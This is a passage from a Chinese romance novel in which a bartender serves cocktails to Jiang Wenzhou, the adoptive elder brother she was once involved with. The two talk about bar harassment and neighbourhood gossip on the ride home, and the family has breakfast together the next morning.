番茄汁和话梅威士忌倒到一起,再加入青柠汁和接骨木花糖浆,充分摇匀混合,倒入加了冰块的古典杯里,上面再用签子穿一颗话梅小番茄架在杯口做装饰。 “尝尝。”她将酒推到江问舟面前。 江问舟的手刚碰到冰凉的杯沿,甚至来不及琢磨这杯酒到底什么颜色,就听齐眉忽然说了句:“说起来,这是你第一次喝我调的酒吧?” 他顿时一愣,下意识地抬头看了她一眼。 酒吧的灯光为了氛围,一向是比较暗的,越暗越有情调,以至于江问舟这时觉得根本看不清齐眉的真实表情。 只觉得她的眼神看起来清明澄澈,看着他时是那样的专注,竟让他想起很久以前。 他是什么时候发现自己的小妹妹看着自己的眼神里藏着爱慕的呢? 是在齐眉大二那一年,他生日的时候,请玩得好的几位同学一起吃饭,自然不忘捎带上齐眉。 吃完饭他们没有立刻散场,而是去了楼上的KTV,在KTV碰到了同年级的几位女同学,原本他只想简单打个招呼就各玩各的,没想到同寝室的哥们儿却突然主动邀请她们一起去唱歌。 起初他还觉得无语,谁做东啊,你这样合适吗? 刚想拒绝,就被齐眉拉住:“你别打岔,阎学长喜欢邓师姐,想趁机和她接触呢,你让让他。” 他觉得惊讶极了,问她怎么知道的,她说:“我看出来的呀。” 可是怎么看出来的,她却无论如何不肯讲了。 于是他只能靠自己暗暗留心观察。 大家唱歌的时候,轮到那位女同学点的歌,他就立刻去看自己的室友,那位女同学说话,他也去看自己的室友,来来回回,竟然真的让他看出不同来。 是眼神,他和别人说话时,眼神很放松,也不会盯着对方看,很随意,经常是一边做自己的事一边跟对方说话。 但他看那位女同学却不是这样的,目光专注中甚至透着紧张和小心翼翼,又充满了骄傲的笑意,也很开心,连说话的声音都会变得雀跃。 江问舟觉得这种目光很熟悉,好像在哪儿见过。 那时他已经是大学的第七年,时间更多花在临床和实验上,但偶尔会给小导当助教,或者在郭教授回校开讲座时充当播放PPT的助手。 生日过后没多久,学院邀请郭教授给同学们做讲座,他提前一点过去,将课件拷贝到学术中心的电脑里,还要检查麦克风有没有问题,忙完一抬眼,就看见台下第二排坐着齐眉。 她双手托腮笑吟吟地看着他,目光专注,带着骄傲的笑意,好像特别快乐…… 嘶,这眼神熟悉,不久前见过。他脑子里嗡的一下,明白齐眉是怎么看出来他室友喜欢那位女同学的了。 这之后有一段时间他是躲着齐眉的,但她不知道,真信了他实验和工作太忙,暂时不跟她一块儿吃饭的鬼话。 他抽了很多时间去想自己和齐眉的关系,但想不明白,直到室友点醒他:“你好好想想,你为她做的那些事,换一个女生,你会做吗?你说那是妹妹,可她是你亲妹妹吗?” 他为齐眉做过什么呢?是她小时候接送她上学放学,辅导她写作业,放假了带她去玩,生日和节日送她礼物,时不时给点零用钱,拿了奖学金第一件事就是带她去吃饭给她买东西,监督她吃饭和早睡,想办法给她安排实验室和见习…… 这些事他确实只会为齐眉做,换一个人,他觉得自己做不到这样。 他对齐眉的感情,在漫长岁月的相处里,已经从被父母耳提面命的“好好照顾妹妹”,变成了会主动为她考虑的心甘情愿和习以为常。 再设想一下有一天她终于离开自己,用那样骄傲的目光全心全意看着另一个男人,他会怎么样?会难受。 当他确定自己的感情,便开始纵容、甚至有意引导齐眉对自己的试探,放任她对自己越来越得寸进尺。 江问舟回过神来,在齐眉看着自己的目光里,有些怅然地说了句:“希望不是最后一次。” 说完端过酒杯,先是将装饰用的话梅小番茄吃点,接着抿了一口杯子里的酒。 酒液冰凉,番茄汁的酸甜在烈酒里注入了一抹清新,话梅经过浸泡,咸味在威士忌中析出,又被稀释中和,最后只剩一点微微的咸。 喝起来味道还不错,他点点头:“比我想象的要爽口。” 齐眉也回过神来,笑笑:“很多客人和你感受相同,所以这些天点这款的客人不少,卖得还不错。” “我也不过是这世上千万人中的一个,泯然众人,口味当然也和大家差不多。”江问舟又笑笑,说了这么一句。 齐眉觉得他似乎话里有话。 但一时间也弄不清楚他到底什么意思,只好也笑笑,不吭声。 你看,这人多有分寸,多么礼貌客气,可见是长大了,不再像以前那样,跟十万个为什么成精似的,他说的话但凡有一点不满意或者听不懂,就要打破砂锅问到底。 江问舟觉得心里那股无名火又开始冒出来了。 杯子的容量大概是三百五十毫升,被冰块占据一部分空间后,酒本身其实没有太多,他一口接一口,很快就把杯子里的酒都喝完了,剩下还没融化多少的冰块。 接着他拿过酒单仔细研究,问道:“有没有什么酸甜口味的酒推荐?” 齐眉一愣:“……你还喝?” 而且他刚才喝那么快,会导致血液中的酒精浓度迅速升高,身体来不及代谢,也就增加了酒精中毒的风险。 别人可能不知道的知识点,他没理由不知道。 “最后一杯。”江问舟笑着回答道,声音温和得似乎还有一点央求的意味。 齐眉心里忽然一突,但最后却没有继续阻止,而是给他推荐了一款叫海风的酒。 “是一款伏特加鸡尾酒,加入了蔓越莓汁和葡萄柚汁,果味浓郁,酸甜平衡,而且口感很轻盈。” 顿了顿,她又补了一句:“你会喜欢的。” 江问舟笑起来,嗯了声:“大多数人喜欢的口味,我也会喜欢。” 齐眉一哽,刚才那种觉得他话里有话的感觉再次出现。 猜不透他今晚怎么回事,她干脆低头调酒,江问舟看着她利落娴熟的动作,像是在看一场表演。 他看着看着,忽然说了句:“这是不是要学很久?你以前……练打结和缝合也要很久才能很熟练。” 齐眉盖上雪克壶盖子的手一抖。 还没来得及说什么,就听他继续道:“我看你们的菜单没有话梅小番茄,怎么不上架?我这种大众口味都喜欢的东西,应该好卖。” 雪克壶摇晃时冰块和壶壁碰撞的哗啦声里,男人的声音隐约听得出一丝赌气和不快。 齐眉终于知道为什么之前接连觉得他话里有话了。 原来她的第六感塔台没有发出错误信号。 她垂下眼,将壶里摇匀的酒过滤进杯子里,用剪成帆状的橙皮和糖渍樱桃在边缘装饰好,推到他面前。 “没有那么多时间和功夫,不会上架的。” 她没有打算过要在店里上架话梅小番茄这道甜品,最多只是这一季用于小番茄话梅威士忌的装饰,下一季还会不会继续用都不好说。 但她说完,忽然想起刚学会这道甜品时,他们之间有过的对话。 当时江问舟开玩笑问她,以后除了我,你还会做给谁吃? 爱是排他,是占有欲,是想要自己永享独一无二的特权。 于是她答应他,除了家里人,她不给别人做,或者,别人有的时候他一定也有,而且是最大份的。 他假惺惺地说,那我也没有这么小气,随口说说而已,你不用当真。 真正当真的人是他。齐眉找到了他今晚一直说自己和别人一样,话里有话的缘由,不由得轻叹一口气。 鬼使神差一般说了一句:“放心。” 江问舟闻言一愣,放心?放什么心? 他想问,可等回过神,却发现齐眉已经在听田乐说前一晚发生的事。 “……就一老外,他就坐在这儿,我对面这位置,喝了大概有五六百,刚开始说喜欢我,我还以为是老外的礼节,就很大方很直接表达欣赏之类,还跟他道谢,结果他后面居然问我有没有男朋友,我说有的,他就问我能不能分手,觉得他怎么样,啊?我请问呢,我跟我男朋友感情稳定得很……真的是,让人无语。” 齐眉皱着眉听完,问她:“有没有吃亏?后来呢?” “吃亏倒不会的咯,后来我不搭理他了,老佟跟他聊的,把他聊走了。”田乐说完,没忍住,又翻了个大白眼。 江问舟恰好听到这一段,忍不住插嘴问道:“这种事……经常发生吗?” 齐眉心里又一突。 还没来得及粉饰太平敷衍过去,就听田乐快人快语地应道:“不能说经常发生,但确实不少。” 夜场嘛,本来就人员复杂,又是酒吧,有的人被酒精一催,白天没有的胆、不会表现出来的一面,就都出来了。 江问舟看一眼齐眉,见她露出无奈的表情,便直接问:“西西也遇到过这样的事?” “她之前就被人跟过。”田乐回答道,她可不觉得这是什么说不得的事。 江问舟点点头:“这事我知道,年年就是这事之后来的。” 田乐点点头,他又看一眼齐眉,见她抿着唇,便接着问:“除了这桩,还有别的吗?” “别的……”田乐想了想,扭头问佟林,“刚开业没多久那会儿?是吧,有个男的不长眼,对阿眉动手的。” 江问舟眼睛一眨,余光瞥一下齐眉,声音听不出任何变化:“后来怎么处理的?这事我没听家里说过。” “把他赶走了,我干爸派了几个人过来,守了一个月。”佟林回答道。 江问舟是江局长的儿子,是从小照顾齐眉长大的,在佟林看来,就跟齐眉的家长差不多,所以他是江问舟问他就说。 齐眉在一旁已经无语撇头了。 这都陈年老事了,还有什么可说的,江问舟有毛病吧,这也打听:) “陆阳也经常过来,后来大家就都知道这边是谁的地盘了,加上阿眉有时来有时不来,就基本遇不到这种事了。” 佟林说完田乐接着道:“其实这样挺好的,都知道我们这边安全,客人就更愿意来了,特别是女客人,而且女客人出手还大方。” 江问舟听完松口气似的,举了举酒杯,冲他们道了声谢。 齐眉看话题结束,他继续喝酒,以为接下来他马上就要说什么夜场混乱女孩子不适合在这里工作之类的话了。 但没想到一直没有,他就这么静静坐着,一口接一口,很快就把杯子里的酒再次喝完。 给客人送完酒回来,齐眉就发现他面前的杯子又空了,不禁有些无奈。 赶紧开了个椰青,找根吸管插上,递给他,努努嘴,一个字没说,但江问舟还是立刻看懂了她的意思。 把你的嘴闭上,不准再问我要酒! 他顿时失笑,点点头道了声谢,一边看手机一边喝椰子,中途还有客人问为什么有人可以点椰子。 “这是什么隐藏菜单吗?” “……不是,这是家里人的特供菜单。”齐眉无语地回答道。 他听见,抬起头看向她,齐眉却一点都不搭理,只顾埋头调酒,吧勺在她手指间稳稳卡着,手腕灵活转动,拨动了杯子里的酒液和冰块。 假期的生意很好,时间到了十二点半,都还有客人刚来,江问舟看看时间,忍不住敲敲桌面,提醒她:“十二点半了。” 齐眉头也不抬地往量酒器里倒伏特加,要调一杯法式马提尼,闻言应道:“马上就好。” 江问舟只好继续等,顺便叫了代驾。 等到真正坐上车,踏上回家的路途,已经是半夜一点。 快速饮下两杯鸡尾酒的后果在车窗外吹进来的徐徐夜风里开始呈现。 江问舟靠在车门边,觉得头有点发晕,他本来就不擅饮酒,还是迅速地加起来总共摄入了将近一百毫升的烈酒,说实话,只是头晕都算症状轻的了。 齐眉坐在另一边,侧头看着他,本来想问他是不是不舒服,但话到嘴边却意外变成:“我刚才还以为你要教训我,说女孩子不该待在这种夜场。” 江问舟闻言一愣:“为什么这么说?” 第27章 第二十七章(二合一)你礼貌吗?我是…… “我开店之前,去阳哥的店里玩,经常十一点以后才回到家,咱们家楼下三楼的贾老师就和干妈说,让她管管我,女孩子不要去蒲。” 齐眉抱着后座的松鼠抱枕,笑着说起之前的事。 贾老师是江家几十年的老邻居了,老人家睡得早,原本也不知道齐眉那么晚才回来的事,是她女儿连续几天在阳台上见到她,觉得奇怪,跟她说了一嘴,她就来问孙茂芸。 孙茂芸就大方说:“小孩子去亲戚开的酒吧玩了,散散心嘛,聊得高兴,就回来得晚了一点。” 还问是不是被齐眉回来的动静吵到了,老小区嘛,隔音都一般,有时候楼下停个电动车的动静五六楼都能听到。 “但是贾老师说没有,接着就开始关心我的工作。” 那时候孙茂芸和江眀琮也才刚知道齐眉不想去医院上班,也不想去读博,正跟她互相拉锯。 听到贾老师问,也不想把家里的事往外说,就说在找呢,先休息一段时间也不错。 贾老师听完就劝孙茂芸好好管住她,“那些夜店酒吧都乱得很,什么人都有,小心被带坏了,哪个听话的好孩子会去那种地方?” 她来找孙茂芸说这些的时候,齐眉其实就在家,在房间里,隔着一道门把客厅的动静听得一清二楚。 “我还听到她和干妈说,不是亲生的就是不好管,管多了会落埋怨,说最怕就是付出了那么多以后还要被记恨。” 孙茂芸当时打断了她好几次,都没打断成功,她还是把话说完了,走了之后才对齐眉吐槽说老太太年纪大了就是嘴碎,让她别听这种瞎话。 “其实一样的话我听过不止一次。”齐眉靠在车门边笑着道,“有人说干爸干妈吃力不讨好,辛辛苦苦养别人的孩子,还是女儿,以后还不是要嫁出去,孝顺也孝顺不了几天。” 也有人说孙茂芸和江眀琮有情义,帮朋友照顾孩子一照顾就是十几二十年,但愿老天不要辜负傻人。 “这些我都没听过。”江问舟实话实说,他确实没听到过这样的话。 “你在外面读书嘛,不经常在家。”齐眉垂下眼,声音温和,“干爸干妈跟你打电话,也不可能把这些闲话往你耳朵里传,他们连我都不说。” 江问舟听了就问:“那你是怎么知道的?” “我初高中的时候,跟我们小区另一家一个叫周梦丽的女孩子玩得好,她告诉我的,她是在架听她爸妈和奶奶说的,她有一次还跟我说……” 齐眉说到这里顿了顿,突然抬头看向他,神情变得欲言又止。 江问舟正听得认真,觉得转移注意力之后头都没那么晕了,见她突然停下来,便立刻追问:“说什么了?” 这些都是他已经去申城上大学以后才发生的事,齐眉或者孙茂芸都没有跟他提过,他确实不知情。 齐眉转过头,看向窗外飞速后退的路灯,沉默半晌才说:“其实也没什么,就是……他们大人之间开玩笑,说我不是亲生的,以后要是你……我当个童养媳也不亏,被干妈知道了,骂了一顿,说女儿就是女儿,这都什么年代了,谁还会搞童养媳这种下作事,然后……” 她尽量地想用平静的语气,将这些事当成一桩玩笑云淡风轻地说出来,所以语气有些磕绊,讲到一半又停下来。 顿了顿才继续:“然后她的家长,就在家里议论这件事,说……她就是清高而已,等以后她儿子找不到老婆,就不会这么想了,谁会真的帮别人白养孩子啊,肯定图点什么,不图人,就图以后的彩礼咯,他家那个长得那么漂亮,以后嫁个有钱人不难,彩礼收得不要太爽……” 说着说着,她突然嗤地笑了声,回过头看向他:“周梦丽当时还跟我说,他们都癫的,你哥那么帅,怎么可能娶不到老婆,要是真没有,我牺牲一点,给你当嫂子算了。” 江问舟本来想说什么的,听到这里不由得一噎,就将到了嘴边的话咽了回去。 看见他脸色跟吃了什么似的,齐眉的声音更加轻快了,“后来她大学毕业,立刻就结婚了,因为对方长得很帅,她想要一个跟他一样好看的孩子。” 彩礼什么都不要,裸婚的,家里嫌她丢人,放话说不认她,她就立刻跟着丈夫回了对方老家,去年齐眉偶然有机会联系到她,听说已经和丈夫在港岛定居了。 江问舟听着她说别人的故事,想的却是他们之间这段感情。 忍不住问:“所以你坚定的认为,我妈不会接受我们,是不是和这些事有关?” 齐眉脸上轻松的神色顿了顿,变得收敛不少,到最后悉数变成淡淡的无奈。 “没有人喜欢听闲话,这些年来不管是我,还是干爸干妈,都已经……”她顿了顿,换个说法,“左邻右舍都盯着,看干爸干妈是不是始终如一将大义进行到底,不图回报,看我有没有出息,是不是忘恩负义。” 她笑笑,语气淡淡:“老小区就是这样,人多嘴杂。” 管你家里是不是有人当官,我又不求着你什么,自家讲什么关你什么事,还能抓我不成?言论自由懂不懂! 江问舟一时说不出话来。 他突然发现,在自己不知道的时候,她和他的父母受到过这么多议论和误解,而他全然不知。 他们或许觉得没必要,或许不在意,所以都没有把这些难听的话告诉过他,只是将委屈自己消化了。 “我之前就想……你是不是听到过什么,但是你总不肯说。”他转开头,看着车窗外的路灯光,语气怅然,“说到底,你是不信我。” 说完自嘲地笑笑:“我以前还觉得,是不是我没用,这么多年都没把你的心捂热,又或者你就是安全感缺乏到……现在看来,是我太自负了。” 齐眉一时哑然,不知道怎么回他这番话。 她怕说是,这人会破防到想跳车。 于是她扭过头,去看另一边的路灯,有些囧囧的想,不对啊,怎么话题就扯到这里了呢? 一开始她就不是想讨论这个的! 巧的是,江问舟这时也正好想到这一点,忍不住叹了口气。 扭头问她:“我们是不是又聊跑题了?” 以前就经常这样,从A聊到B,再从B聊到C,漫无边际,好像话题总也说不完,最后突然发现,坏了,A没聊完。 齐眉嘴角一抽,看他一下,无语地点点头。 江问舟便有些尴尬地清清嗓子:“所以……后来呢?你怎么会觉得我会跟你说女孩子不该待在这种夜场这种话?” 他应该没这么古板吧? “……刚才说到哪儿了?”齐眉摇摇头,想了想,“后来,我决定开店,那段时间家里挺热闹的,干妈气起来会数落我嘛,声音大一点就传出去了,陆舅舅和阳哥也过来,还有组织上几位叔叔阿姨,也来劝我……” 她说到这里就觉得脸热,声音忍不住压低。 那时候大家就觉得这孩子肯定脑子糊涂了,不知道是看了什么,或者听说什么,总之肯定是被骗了,不然怎么会放弃大好前途,去做什么生意? 一时家里人进人出,十分热闹,周围邻居放炮就注意到了,加上后来又有人主动打听,她放弃专业去开酒吧的事就大家都知道了。 “我晚上才上班,白天在家睡大觉,有一天下午我出门,在楼下碰见贾老师,她立刻拉住我。”齐眉揉着怀里的抱枕,回忆着当时的情景。 发现也没什么仔细描述的必要和兴致,干脆一句话总结:“她让我不要到这些乌烟瘴气的地方去,这是自甘堕落,干爸干妈费了这么多钱和精力培养我,我这样是辜负了他们。” 江问舟听得大皱眉头,忍不住吐槽:“怎么这么……关他们什么事,话这么多。” 他们自家人都接受了的事,这些八竿子打不着的人,凭什么指手画脚? “干妈也说是呢。”齐眉耸耸肩,苦笑,“可就算不喜欢,我也找不出别人的错处,要是怼回去,反而被人家说我不识好人心。” 所以后来为了上班更方便,也为了避开这些闲言碎语,齐眉干脆就搬到了现在的住处。 江问舟听完哼地冷笑一声:“他们不会以为医疗系统是什么特别好特别干净的地方吧?乌烟瘴气的东西多了去了。” 人群聚集的地方,总少不了各种各样的圈子,圈子有的干净有的不干净,看你见不见得到罢了。 “你记不记得邓雯有个形影不离的室友叫邹萃萃的?”他突然问道。 齐眉眨眨眼:“你同寝室阎彬学长的女朋友的室友嘛,记得的。” 江问舟窝在座椅里,懒洋洋地瞥她一眼,哼了声。 “邓萃萃毕业后回了她家那边三甲医院,一起去的还有她当时的男朋友,两个人在不同的单位,很快就结了婚,但她怀孕的时候,男的跟他们单位一位副院长在医务处的女儿好上了,死活要离婚,她挽回无果,就同意离了。” 齐眉听得直眨眼睛,余光瞥见前面开车的代驾小哥,发现对方的也正支着耳朵听,不由得失笑。 “后来呢?就这么成全他俩?”她问道。 江问舟摇摇头,声音也变得有些含糊,像是酒劲终于完全上头:“那倒*没有,那人的赘婿梦刚做到一半,副院长就想办法把女儿送去外地的国企工作了,再找了个由头让他也走了。” 别说是铁饭碗,这年头铁饭碗也不是真的那么铁的。 齐眉听爽了,眼睛一弯就笑起来,低声雀跃:“好好好,鸡飞蛋打。” 江问舟听见,不由得失笑。 但他没有再说什么,这些故人故事还有很多,他不想、也没力气在这会儿一次性给她讲完。 下次吧…… 齐眉缓过来,抬眼一看,见江问舟靠在座椅里,眼睛微阖地撑着头,想到他喝了两杯酒,八成是酒意上来了不舒服,还撑着和她聊了这么久,一时有些愧疚。 索性也不说话了,静静靠着车门,往外看着路过的行道树和路灯。 最后江问舟没睡着,她倒是睡着了。 车子在小区地下车库的车位上挺好,江问舟谢过代驾小哥,弯腰将齐眉抱了出来。 孙茂芸被他的电话叫起来开门,看见齐眉缩在他的怀里,便压低声音问道:“睡着了?” 他点点头,也压低声音道:“我先送她回房,妈你快去睡吧,一会儿我打车回去。” “打车回去?”孙茂芸一愣,“你喝酒了?” “……喝了两杯。”他低声应道。 孙茂芸想了想,干脆劝他:“要不别回去了,你车里有没有衣服?有的话去拿上来,洗个澡,天也不冷,睡沙发没事,要是没衣服,脏着也行,反正睡沙发也没事。” 江问舟:“……”对,反正睡沙发。 他有些好笑地点点头,应了声好。 等一起给齐眉擦干净脸和手脚,安顿好了,从她房间出来,江问舟才叫了声妈,说:“我听西西说了些事。” 孙茂芸一愣:“……什么事?” “就是以前……”时间已经很晚很晚,他没办法说得太仔细,只好把齐眉说过的那些话,简略成一句,“您和爸爸这些年为我和西西付出太多,也承受了很多压力和流言蜚语,很多事……西西说了我才知道,我都没留意过,对不起,还有……您辛苦了。” 他弯腰伸手去抱她,发现自己的母亲竟然算得上瘦小。 他之前竟然还想着用拖延或者是软硬兼施让父母不得不接受他和齐眉的感情,真是完全没有考虑过他们的立场和感受。 在细心和体贴这一点上,他永远比不过齐眉。 可是……来日也许,他还是会让他们生这一场气,如果他不放弃的话。 但他怎么舍得放弃啊,这个世界上只有一个齐眉。 孙茂芸愣愣地听他说完,察觉他的愧疚,忍不住笑着回抱住他,拍拍他的背。 “都过去啦,我们现在一家四口不就很好吗?开开心心,平平安安,我们只是做了当父母该做的事而已啦。” ————— 齐眉觉得自己做了一个很长又很舒服的梦。 梦里她和江问舟坐在落地窗前的躺椅上晒着太阳,漫无边际地聊着乱七八糟的八卦。 一会儿是她的辅导员在圣诞节被相恋多年的博士学长当众求婚,她跟他说,要不以后我也去读博,我跟你求婚,以后学弟学妹们就会说是你被相恋多年的博士学妹求婚,你觉得怎么样呀? 一会儿是他们讨论要不要带金金和年年一起出去露营,说笔架山那边新开了一个露营的营地,最近天气也不错。 聊着聊着,就手拉着手睡着了。 不知道过了多久,她突然听见有人喊:“西西,西西,快醒醒。” 眼睛猛地一睁。 映入眼帘的是天花板的吸顶灯,她愣了一下,随即发现周围一切安静,侧耳认真听了片刻,发现门外一点动静都没有。 原来一切皆是梦,而且这梦还有真有假,有虚有实。 她辅导员被求婚是真,她说等自己读了博士去给江问舟求婚,却是假的,她没说过那样的话。 那是她大五的冬天,圣诞节之前刚结束研究生考试的初试,在对完答案之后,江问舟觉得除非今年特别多人和她报同校同专业,而且分数都比她高,否则应该是稳了。 又说会帮她联系导师的,让她别担心,先好好休息。所以圣诞节那会儿,她已经在计划元旦去哪儿玩。 至于辅导员被求婚,她围观是围观了,但只跟江问舟感慨了一句真是不容易,就立刻切换话题到问他穿哪件裙子去拍照比较好看。 反倒是江问舟把这事听进去了,拐弯抹角地问她,会不会觉得像辅导员这样被当众求婚很浪漫,她说会压力很大,他就有点遗憾地叹口气…… 梦里后面讨论露营是真的,笔架山的露营地是在她研二那年秋天开放的,春节回家的时候,他们真的去露过营,但那时可没有年年金金,是和干爸干妈一起去的。 她扭头蹭蹭凉被的边缘,叹口气,有些矫情地想,人生和梦真的很像呢,有时候根本分不清什么是真什么是假。 这时她才发现自己还穿着昨天的衣服。 同样是江问舟送她回来的,现在和以前…… 她想起来以前有一次,出去玩回到住处已经很晚,她在路上睡着了,睁眼是在浴缸里,他见她醒了,还问她能不能自己洗。 “今时不同往日。”她嘀咕了一句,从被子里坐起来,抓抓头发,转身找手机。 没找到,可能还在包里,但看到了床头的闹钟,显示着“7:10”,还早呢。 她掀开被子下地,拿上换洗衣服出门要去浴室。 出来的时候随便往客厅看了一眼,见年年和金金正站在沙发旁边不知道在干什么,她隔着一段距离看不太清楚,好像沙发上有东西,但不确定是什么。 可能是干妈放那儿的?不管了,先去洗澡。 她趿拉着拖鞋脚步一转就进了浴室,年年抬头看她一眼,没跟过去,而是继续低头看着睡在沙发上的江问舟,抬起爪子拍拍他的被子。 见他蒙着头根本不出来,就用嘴筒子去拱。 他还是一动不动,因为知道狗这东西吧,你越搭理它就越来劲。 当然,他也听见房间的开门声和走路声了,拖鞋踩得啪啪响的,只能是齐眉。 可两三点才睡,现在才七点,太早了,他还想再睡一会儿,等齐眉出来再说。 但早起的小猫小狗没放过他,年年拱他就算了,金金干脆直接跳上茶几,再从茶几上朝着沙发方向奋力一跃。 九斤重的猫,秤砣一样从天而降,砸在江问舟胸口上,砸得他闭着眼都还感觉到眼前一黑。 这跟拿他胸口碎大石有什么区别!!! 江问舟气得直接一掀身上的毯子,伸手捏住金金的后颈皮,将它从自己身上拖开赶到地上,生气地吼它:“金金!” 见他语气这么严肃,金金立刻转身就跑,往卧室和卫生间的方向冲,倒是年年被这么一吓,老实地坐了下来。 江问舟伸手使劲揉它的脑袋,捏着它的耳朵,有些气急败坏地骂:“你有病?一大早不睡觉你想干什么?” 浴室里齐眉正往头上抹洗发水,突然听见外面传来一声“金金”,接着就是一阵脚步凌乱的动静,忍不住定住动作仔细听。 这声音……怎么这么像江问舟?可这才几点,他怎么会在她家? 不可能的,不可能的,肯定是听错了,刚醒的时候她不也以为有人喊她,结果是幻听。 于是继续洗头。 等她洗完澡,将头发吹到半干,刚打开门,就见客房的门也刚好打开,孙茂芸和江眀琮从里面出来。 见到她就打了声招呼,江眀琮还朝她摆摆手,齐眉赶紧让开卫生间的门口。 一面往客厅走,一面正要问孙茂芸早餐吃什么,就看见沙发上多了个穿着黑色T恤衫、后脑勺的头发睡得有点凌乱的…… “江问舟你怎么在这儿?”她大惊失色到连掩饰都忘了,像以前一样直呼他的大名。 孙茂芸听了一愣,倒是江问舟反应快,扭头看着齐眉眉头一皱:“你礼貌吗?我是你哥。” 他话音刚落,齐眉就猛的一下子回过神来,脸上神情迅速切换成赧然之中还带着一点疑惑。 “……舟舟你不要这么凶。”孙茂芸反应过来,先嗔了一句江问舟,再转头对齐眉解释道,“昨晚你们回来都两点了,你哥还喝了酒,回去过几个小时又要过来,我干脆就让他在沙发凑合一下。” 齐眉听了点点头,哦哦答应两声,随即立刻扯开话题:“那……我们早餐吃什么?” “冰箱有很多呀,包子,饺子,云吞,想吃油条也可以炸,再打个豆浆,还是你想吃面,我给你煮个清汤面?”孙茂芸边说边往厨房走。 “您先去洗漱吧,我来我来。”齐眉赶紧跟过去,走到厨房门口,又转头往江问舟那边看了一眼。 他盘腿坐在沙发上,黑色的T恤衫和水洗色的牛仔裤,头发被压得翘起,眼睛眯起,塌着肩膀,上衣领子还是有点歪的,整个人好像还没睡醒,又好像很累,和平时神采奕奕周正帅气的模样截然不同。 格外随意放松,丝毫不顾及个人形象。 齐眉差点以为这不是自己搬出来后独居的房子,而是在宣化路老小区或者村里小院的那个家。 可是这个样子的江问舟她真的太熟悉了,熟悉到会从心底油然而生出一种久别重逢才会有的怅然和感慨。 眼前闪过以前在一起的一些画面,比如那些俩人都不用上班难得可以赖床的休息日,醒来时他就在身边,比现在还要更凌乱,但他毫不在意,闭着眼就来亲她,用刚长出来的胡茬扎她的脸。 那些曾经一起经历过的事,就像绚丽烟花燃烧殆尽后的烟尘,被大风席卷着朝她扑面而来,呛了她一嗓子。 她收回目光,将心底翻滚的情绪使劲往下压了压。 江问舟把年年推开,伸伸腿,起身将毯子叠好拿去客房。 出来后在卫生间门口和江眀琮碰上,一面问他今天还去不去医院看纪叔叔,一面和他擦肩而过进了卫生间。 “你妈说今天陆阳和他媳妇要过来,等见面打个招呼再去。”江眀琮应着指指洗脸盆下面的柜子,“里面有新的牙刷口杯。” 说完他就转身甩着胳膊要走。 却又被江问舟叫住:“爸,你剃须刀借我用用。” “抽屉里。”他应了声,笑眯眯地喊年年,“走喽,我们下楼去晨练。” 等江问舟从卫生间出来,已经是二十分钟后。 孙茂芸正在浇花,齐眉正蹲在客厅一角不知道在捣鼓什么,金金蹲在她旁边,从背影上看,就像是一人一猫凑在一起嘀嘀咕咕。 他好奇地放轻脚步靠近去看,就见齐眉正拿着根棍子似的东西,在食盆里捣啊捣,一旁还有一盆已经捣好的,就问了句:“这都是什么?” 齐眉冷不丁被背后传来的声音吓了一跳,握着碎冰棒的手不由得一抖,嘭一下敲在盆沿上,发出清脆的响声。 她仰起头,刚好和弯着脖子的江问舟四目相对,他就这么站在她身后,像是能把她整个罩住。 齐眉突然觉得后背有点发烫。 “……蛋黄,三文鱼,鸡胸肉,都是熟的,干妈让我拌一下再放干粮。”她立刻低头,闷声应道。 膝盖动了一下,下巴就贴在了上面。 江问舟弯腰揉揉金金毛茸茸的脑袋,叹口气笑道:“一大早吃这么好。” 孙茂芸把花浇完,花洒往旁边架子上一放,头也不回地接他的话:“它这么瘦,不吃好点怎么长大呀,你和西西十几岁的时候,早上也吃这么好。” “是啊,小区门口所有早餐店和早餐摊子都被我俩光顾过,鸡蛋灌饼都得加两个蛋。”江问舟有些揶揄地道,那时候她和江眀琮哪儿有空管这个啊,给他们塞点钞票就打发了。 孙茂芸被他说得一噎,半晌没吭声。 齐眉有些想笑,又不好意思,只好咬住嘴唇扭头和西西对视一眼,接着往食盆里倒一点干粮,再稍微搅拌混合,就推到它面前。 鼻尖好像还有不属于自己的味道在萦绕,应该来自于他用的须后水。 “去体检的时候医生说了,家长觉得孩子瘦的时候,体重正常就是合适的,家长觉得孩子体型恰好的时候,基本都已经吃胖要控制体重了。”江问舟叹口气,“以后还是不要天天这么吃了,改善生活一个星期有两三次就够了。” 孙茂芸这时才啧了声,冲他摆摆手:“知道了知道了,真啰嗦。” 这就嫌他啰嗦了,江问舟失笑,往前走了一步,开始欣赏被齐眉装点得像个小花园一样的阳台。 花架上的蓝雪花安置在阳光最充足的地方,清晨的第一缕阳光会直接照在它蓝色的花瓣上,这时节天气渐热,人可能不喜欢,它倒是越开越茂盛。 孙茂芸还说:“过两天西西给我分一盆吧,拿回去种在院子里,有地上,肯定比在楼上开得还多。” 齐眉应了声好,说到时候可以给它修剪成棒棒糖。 旁边是五层的架子,除了放置花洒之类的工具,更主要的是安放那一盆盆他叫不出名字的多肉,还有几盆颜色各异的蝴蝶兰,雪白、嫩黄、粉红、深玫红、白中带点紫红……看上去娇艳又养眼。 在阴凉的地方,还有两盆对阳光需求没那么高的孔雀木和散尾葵,长得郁郁葱葱,看上去满眼都是养眼的绿色。 江问舟看了一会儿,扭回头去看齐眉,见她已经去了厨房,便又把头转回来。 她以前是不养花的,总说没时间打理,忙起来连自己吃饭都忘了,哪儿有时间管花花草草。 猫也是因为这样的原因,一直说想养,以后要养,但又一直只停留在想法上。 可是现在回头一看,虽然几经波折,但花也有了,猫也有了,又何尝不是一种意外的如愿以偿。 少年时坐在课堂里学“前途是光明的,道路是曲折的”时,可没想到真的有一天会亲身践行。 门口这时响起一阵动静,正在斯斯文文小口吃饭的金金刚抬起头,年年就从门口冲了进来,摇着尾巴凑过去闻闻它,然后喝了两口水,接着大口干饭。 接下来江问舟就眼睁睁地看着金金一改刚才的斯文作风,也开始大口大口开始吃饭,一边吃还一边转身顶住年年,把自己的食盆推远了一点。 江问舟:“……”年年你到底对你姐做过什么?! “吃早餐了!”孙茂芸在厨房门口喊他。 早餐还真有面,孙茂芸给他和齐眉都下了一碗面,面条上还有一个金灿灿的荷包蛋。 她和江眀琮则是吃煮的燕麦,无糖的。 桌上还有包子和蒸饺,一人还有一杯豆浆,看起来已经是相当丰盛。 “现在比以前方便多了,真是科技改变生活,不然谁早上一大早起来做包子啊,真受不了。”她一边说,一边给齐眉递了个包子。 江问舟说也不见得,“以前哪儿不方便了,咱们家不都是拿上钞票就去小区门口吃的么,今天吃这家的云吞面,明天吃那家的皮蛋瘦肉粥。” 说得好像你真的会早起做包子一样哦。 